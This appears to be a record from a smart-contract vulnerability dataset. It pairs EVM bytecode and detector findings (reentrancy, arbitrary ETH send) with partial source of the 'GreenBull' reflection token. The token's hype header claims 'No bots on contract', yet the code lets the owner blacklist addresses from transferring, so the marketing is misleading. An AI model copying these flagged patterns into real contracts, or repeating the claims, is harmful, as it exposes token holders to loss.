ffffffffffffffffffffff1614156110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e590612a21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590612921565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161123c9190612a61565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090612a01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611320906128a1565b60405180910390fd5b6000811161136c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611363906129e1565b60405180910390fd5b611374610bc8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e257506113b2610bc8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166a57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114905750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114e557601160149054906101000a900460ff166114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db906128e1565b60405180910390fd5b5b6012548111156114f457600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115985750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a157600080fd5b60006115ac30610a1e565b905060125481106115bd5760125490505b601160159054906101000a900460ff161580156116285750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116405750601160169054906101000a900460ff165b156116685761164e816118fa565b600047905060008111156116665761166547611791565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117115750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171b57600090505b61172784848484611c47565b50505050565b6000838311158290611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c919061287f565b60405180910390fd5b50600083856117849190612c78565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117e1600284611bfd90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561180c573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61185d600284611bfd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611888573d6000803e3d6000fd5b5050565b60006006548211156118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90612901565b60405180910390fd5b60006118dd611c74565b90506118f28184611bfd90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561193257611931612e71565b5b6040519080825280602002602001820160405280156119605781602001602082028036833780820191505090505b509050308160008151811061197857611977612e42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1a57600080fd5b505afa158015611a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5291906123b6565b81600181518110611a6657611a65612e42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611acd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107e565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b31959493929190612a7c565b600060405180830381600087803b158015611b4b57600080fd5b505af1158015611b5f573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611b955760009050611bf7565b60008284611ba39190612c1e565b9050828482611bb29190612bed565b14611bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be990612981565b60405180910390fd5b809150505b92915050565b6000611c3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9f565b905092915050565b80611c5557611c54611d02565b5b611c60848484611d45565b80611c6e57611c6d611f10565b5b50505050565b6000806000611c81611f24565b91509150611c988183611bfd90919063ffffffff16565b9250505090565b60008083118290611ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdd919061287f565b60405180910390fd5b5060008385611cf59190612bed565b9050809150509392505050565b6000600854148015611d1657506000600954145b15611d2057611d43565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b600080600080600080611d5787611f86565b955095509550955095509550611db586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9681612096565b611ea08483612153565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611efd9190612a61565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b600080600060065490506000680719fd7deea82c00009050611f5a680719fd7deea82c0000600654611bfd90919063ffffffff16565b821015611f7957600654680719fd7deea82c0000935093505050611f82565b81819350935050505b9091565b6000806000806000806000806000611fa38a60085460095461218d565b9250925092506000611fb3611c74565b90506000806000611fc68e878787612223565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172d565b905092915050565b60008082846120479190612b97565b90508381101561208c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208390612941565b60405180910390fd5b8091505092915050565b60006120a0611c74565b905060006120b78284611b8290919063ffffffff16565b905061210b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61216882600654611fee90919063ffffffff16565b6006819055506121838160075461203890919063ffffffff16565b6007819055505050565b6000806000806121b960646121ab888a611b8290919063ffffffff16565b611bfd90919063ffffffff16565b905060006121e360646121d5888b611b8290919063ffffffff16565b611bfd90919063ffffffff16565b9050600061220c826121fe858c611fee90919063ffffffff16565b611fee90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061223c8589611b8290919063ffffffff16565b905060006122538689611b8290919063ffffffff16565b9050600061226a8789611b8290919063ffffffff16565b90506000612293826122858587611fee90919063ffffffff16565b611fee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006122bf6122ba84612b16565b612af1565b905080838252602082019050828560208602820111156122e2576122e1612ea5565b5b60005b8581101561231257816122f8888261231c565b8452602084019350602083019250506001810190506122e5565b5050509392505050565b60008135905061232b8161320d565b92915050565b6000815190506123408161320d565b92915050565b600082601f83011261235b5761235a612ea0565b5b813561236b8482602086016122ac565b91505092915050565b60008135905061238381613224565b92915050565b60006020828403121561239f5761239e612eaf565b5b60006123ad8482850161231c565b91505092915050565b6000602082840312156123cc576123cb612eaf565b5b60006123da84828501612331565b91505092915050565b600080604083850312156123fa576123f9612eaf565b5b60006124088582860161231c565b92505060206124198582860161231c565b9150509250929050565b60008060006060848603121561243c5761243b612eaf565b5b600061244a8682870161231c565b935050602061245b8682870161231c565b925050604061246c86828701612374565b9150509250925092565b6000806040838503121561248d5761248c612eaf565b5b600061249b8582860161231c565b92505060206124ac85828601612374565b9150509250929050565b6000602082840312156124cc576124cb612eaf565b5b600082013567ffffffffffffffff8111156124ea576124e9612eaa565b5b6124f684828501612346565b91505092915050565b60006020828403121561251557612514612eaf565b5b600061252384828501612374565b91505092915050565b60006125388383612544565b60208301905092915050565b61254d81612cac565b82525050565b61255c81612cac565b82525050565b600061256d82612b52565b6125778185612b75565b935061258283612b42565b8060005b838110156125b357815161259a888261252c565b97506125a583612b68565b925050600181019050612586565b5085935050505092915050565b6125c981612cbe565b82525050565b6125d881612d01565b82525050565b6125e781612d25565b82525050565b60006125f882612b5d565b6126028185612b86565b9350612612818560208601612d37565b61261b81612eb4565b840191505092915050565b6000612633602383612b86565b915061263e82612ec5565b604082019050919050565b6000612656601a83612b86565b915061266182612f14565b602082019050919050565b6000612679601a83612b86565b915061268482612f3d565b602082019050919050565b600061269c602a83612b86565b91506126a782612f66565b604082019050919050565b60006126bf602283612b86565b91506126ca82612fb5565b604082019050919050565b60006126e2601b83612b86565b91506126ed82613004565b602082019050919050565b6000612705601d83612b86565b91506127108261302d565b602082019050919050565b6000612728602183612b86565b915061273382613056565b604082019050919050565b600061274b602083612b86565b9150612756826130a5565b602082019050919050565b600061276e601b83612b86565b9150612779826130ce565b602082019050919050565b6000612791602983612b86565b915061279c826130f7565b604082019050919050565b60006127b4602583612b86565b91506127bf82613146565b604082019050919050565b60006127d7602483612b86565b91506127e282613195565b604082019050919050565b60006127fa601a83612b86565b9150612805826131e4565b602082019050919050565b61281981612cea565b82525050565b61282881612cf4565b82525050565b60006020820190506128436000830184612553565b92915050565b600060208201905061285e60008301846125c0565b92915050565b600060208201905061287960008301846125cf565b92915050565b6000602082019050818103600083015261289981846125ed565b905092915050565b600060208201905081810360008301526128ba81612626565b9050919050565b600060208201905081810360008301526128da81612649565b9050919050565b600060208201905081810360008301526128fa8161266c565b9050919050565b6000602082019050818103600083015261291a8161268f565b9050919050565b6000602082019050818103600083015261293a816126b2565b9050919050565b6000602082019050818103600083015261295a816126d5565b9050919050565b6000602082019050818103600083015261297a816126f8565b9050919050565b6000602082019050818103600083015261299a8161271b565b9050919050565b600060208201905081810360008301526129ba8161273e565b9050919050565b600060208201905081810360008301526129da81612761565b9050919050565b600060208201905081810360008301526129fa81612784565b9050919050565b60006020820190508181036000830152612a1a816127a7565b9050919050565b60006020820190508181036000830152612a3a816127ca565b9050919050565b60006020820190508181036000830152612a5a816127ed565b9050919050565b6000602082019050612a766000830184612810565b92915050565b600060a082019050612a916000830188612810565b612a9e60208301876125de565b8181036040830152612ab08186612562565b9050612abf6060830185612553565b612acc6080830184612810565b9695505050505050565b6000602082019050612aeb600083018461281f565b92915050565b6000612afb612b0c565b9050612b078282612d6a565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3157612b30612e71565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba282612cea565b9150612bad83612cea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be257612be1612de4565b5b828201905092915050565b6000612bf882612cea565b9150612c0383612cea565b925082612c1357612c12612e13565b5b828204905092915050565b6000612c2982612cea565b9150612c3483612cea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c6d57612c6c612de4565b5b828202905092915050565b6000612c8382612cea565b9150612c8e83612cea565b925082821015612ca157612ca0612de4565b5b828203905092915050565b6000612cb782612cca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d0c82612d13565b9050919050565b6000612d1e82612cca565b9050919050565b6000612d3082612cea565b9050919050565b60005b83811015612d55578082015181840152602081019050612d3a565b83811115612d64576000848401525b50505050565b612d7382612eb4565b810181811067ffffffffffffffff82111715612d9257612d91612e71565b5b80604052505050565b6000612da682612cea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dd957612dd8612de4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f7465616d4665652073686f756c6420626520696e2030202d2032350000000000600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f7461784665652073686f756c6420626520696e2030202d203235000000000000600082015250565b61321681612cac565b811461322157600080fd5b50565b61322d81612cea565b811461323857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207ab3fd021026bbe9fcda064a6a2687811f2255606552da17b64beec33db1d26464736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,452 |
0x96ec11b577ff587beae59c86bc6d7499cf1ff620
|
/*
░██████╗░██████╗░███████╗███████╗███╗░░██╗██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░
██╔════╝░██╔══██╗██╔════╝██╔════╝████╗░██║██╔══██╗██║░░░██║██║░░░░░██║░░░░░
██║░░██╗░██████╔╝█████╗░░█████╗░░██╔██╗██║██████╦╝██║░░░██║██║░░░░░██║░░░░░
██║░░╚██╗██╔══██╗██╔══╝░░██╔══╝░░██║╚████║██╔══██╗██║░░░██║██║░░░░░██║░░░░░
╚██████╔╝██║░░██║███████╗███████╗██║░╚███║██████╦╝╚██████╔╝███████╗███████╗
░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝╚══════╝
Web: www.greenbull.capital
TG: t.me/GreenBullCapital
Twitter: twitter.com/GreenBullETH
BULLSEASON is back, degens!!
Announcing…
GREENBULL ($GBULL)
Liquidity will be locked, ownership renounced. Safe MOON-MISSION.
GET READY TO FLY!!!
Brought to you by the Gangsta’Cat Squad, bringing the most based safe-launches.
SLIPPAGE 16% - No bots on contract, you will Not be front-run.
☑️ Stealth-launch
☑️ Renounced contract
☑️ No max buy/sells after clean launch
☑️ Holding gets rewarded because of reflection
☑️ Locked liquidity
☑️ No Bots
☑️ Earn tokens holding $GBULL in your wallet. Team earns as well.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GreenBull is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "GreenBull.Capital";
string private constant _symbol = 'GBULL';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 13;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
